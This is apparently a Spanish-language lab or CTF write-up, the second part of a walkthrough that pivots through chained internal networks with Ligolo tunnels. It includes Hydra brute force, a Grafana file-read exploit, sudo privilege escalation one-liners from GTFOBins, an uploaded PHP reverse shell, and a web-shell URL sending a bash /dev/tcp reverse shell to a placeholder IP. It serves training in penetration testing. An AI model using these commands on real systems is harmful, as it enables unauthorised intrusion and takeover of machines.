Seguimos con la segunda parte del WriteUP justo en el punto en el que nos quedamos en la parte 1.
Ahora vamos a empezar a Fuzzear a la nueva ip, en este caso hemos usado wfuzz, pero
también se puede sacar el mismo resultado con Dirbuster. Con dirb en este caso no he
probado.
Accedemos a la url y comprobamos un posible vector de ataque LFI
Encontramos un usuario llamado manchi
Le hacemos un ataque de fuerza con Hydra y nos da una contraseña
Accedemos por ssh
Ahora vamos a realizar un ataque de fuerza de bruta en busca de más usuarios, nos
descargamos este script y lo copiamos a la máquina víctima
https://github.com/Maalfer/Sudo_BruteForce
Ejecutamos y nos da otro usuario y contraseña:
Elevación de privilegios
Primero hacemos un movimiento lateral con el usuario y la contraseña que hemos obtenido
Ahora elevaos privilegios, primero ejecutamos sudo -l
vemos que podemos ejecutar como root el binario php así que vamos a la web de GTFObins
y buscamos el binario
Y aquí tenemos el comando que necesitamos ejecutar
sudo -u root /usr/bin/php -r “system(‘/bin/sh’)
Y comprobamos que tenemos una nueva IP
Hacemos el tratamiento de TTY
export TERM=xterm
export SHELL=/bin/bash
/bin/bash -i
Ahora vamos a proceder a realizar el segundo salto
Ligolo 2
Ahora tenemos que crear un nuevo adaptador, levantarlo y agregar la red de la siguiente ip a
nuestra tabla de enrutamiento. Esto es para que cuando conectemos el agente de ligolo y
arranquemos la sesion podamos tener ping a las máquinas 20.20.20.2 y 20.20.20.3
Ahora nos levantamos un servidor http.server en nuestra máquina kali en a ruta dónde
tengamos nuestro archivo agent
python3 -m http.server 80
Ahora ejecutamos el comando wget, tenemos que fijarnos que en este punto aún no es
necesario crear ningún listener para permitir la transferencia de archivos, eso lo haremos más
adelante.
wget http://192.168.1.162/agent
Una vez que ya tenemos el archivo en la máquina víctima tenemos que acordarnos de darle
permisos de ejecución, en el pantallazo yo no lo hice y me dio error 😛
Una vez que ya lo podemos ejecutar lanzamos el agent
Volvemos a la consola de ligolo con la conexión ya establecida tenemos que ejecutar el
comando sessión, elegir la sessión que en este caso será la segunda y el tunel se iniciará.
Esto nos dara ping a la ip 20.20.20.2 y a la ip 20.20.20.3, recordemos que ya hemos agregado
la red 20.20.20.o/24 a nuestra tabla de rutas.
Empezamos lanzando un nmap contra la ip 20.20.20.3 y descubrimos que tiene abierto el
puerto 80, entre otros.
Nos conectamos a la web y tenemos un grafana.
Hacemos una búsqueda con searchsploit y encontramos la vulnerabilidad Directory Traversal
and Arbitrary File Read
Nos descargamos el exploit y nos lo copiamos a nuestra carpeta ligolo.
Lo ejecutamos y nos da un usuario: freddy
Ahora vamos a indagar un poco más por el portal, yo he usado Dirbuster para esta tarea.
Reviso todos los directorios y archivos y encuentro que en el archivo maintenance.html hay
una ruta
Ejecutamos el exploit y le ponemos la ruta que hemos encontrado y nos da un password
Ahora nos conectamos por ssh con las credenciales que hemos encontrado
Escalada de privilegios
Comprobamos que tenemos permisos para ejecutar un script en python
Vamos a la web GTFObins, buscamos el binario y nos da el script a ejecutar
Modificamos el archivo maintenance.py
Y ejecutamos con un sudo
Descubrimos nuestro siguiente objetivo , la ip 30.30.30.2
Ligolo 3
Siguiendo la misma metodología, lo primero creamos el adaptador correspondiente y
agregamos la red de la nueva ip
Lanzamos nmap
Y ahora lanzamos un fuzzing contra la ip 30.30.30.3
Nos encuentra un secret.php, nos conectamos y tenemos un usuario.
Le tiramos un ataque de fuerza bruta con hydra
Ligolo 4
Nuestra próxima para en este viaje es la red 40.40.40.0/24 así que vamos a proceder a
agregar el tunel correspondiente
En este punto agregaremos el primer portforwarding/listener.
al llegar al doble pivoting, el siguiente paso implica agregar un listener para atravesar la
intrared y recuperar la sesión. En este caso necesitaremos un listener para la conexión (puerto
11601) y otro para la transferencia del agente agent por el puerto 80.
repetimos proceso de compartir agent y transferimos el archivo para poder ejecutarlo, recuerda
que siempre tienes que apuntar al segundo interfaz de la máquina anterior.
Una vez que ya tenemos conexión contra la red 40.40.40.0/24 procedemos a realizar un poco
de fuzzing.
Ahora vamos a la página de Online – Reverse Shell Generator (revshells.com) y usaremos la
revshell PHP PentestMonkey apuntando al como está indicando en la imagen.
Pero primero necesitamos agregar un nuevo listener en ligolo que vaya por el puerto 6969
listener_add –addr 0.0.0.0:6969 –to 127.0.0.1:6969 –tcp
y lo agregamos en cada una de las sesiones
Ahora ya podemos guardar nuestra shell en un archivo con extensión phar y subirlo al portal
Ahora nos situamos en el directorio uploads pero antes de ejecutar la shell nos pondremos a la
escucha con un netcat por el puerto 6969
Ejecutamos un hostname -I y ya podemos ver nuestra próxima máquina objetivo
Antes haremos la escalada de privilegios
sudo -u root /usr/bin/env /bin/sh
Y volvemos a repetir lo mismo que en pasos anteriores, copiamos el agent y lo lanzamos para
luego arrancar el ligolo4 desde la consola.
ligolo 5
Lo primero, agregar el nuevo adaptador, levantarlo y agregar la correspondiente ruta,
exactamente igual que antes.
Y repetimos operación agregando los listener que necesitamos.
Seguidamente subimos el archivo agent y lo ejecutamos
Se nos inicia la sesión y arrancamos el ligolo5
accedemos a otro portal
Ahora hacemos otro Fuzzing a la ip 50.50.50.3 y vamos a la ruta /warning.html
Nos indica que hay una shell, no sabemos donde así que nos toca Fuzzear otra vez
Nos da como resultante la siguiente shell en la que podemos ejecutar parámetros
En este punto tenemos varias opciones, acordaros que en la sessión anterior agregamos un
nuevo listener en ligolo por el puerto 6969 y que tenemos un netcat a la escucha. Podemos
parar la sesión de netcat que tenemos activa, atregar un nuevo listener por el puerto 6969 en
ligolo.
y usar una bash apuntando al puerto 6969
http://50.50.50.2/shell.php?parameter=bash%20-c%20’bash%20-
i%20>%26%20/dev/tcp/YOUR_IP/6969%200>%261′
o podemos usar socat
50.50.50.3/shell.php?parameter=at tcp-l:6969,fork,reuseaddr tcp:50.50.50.2:6969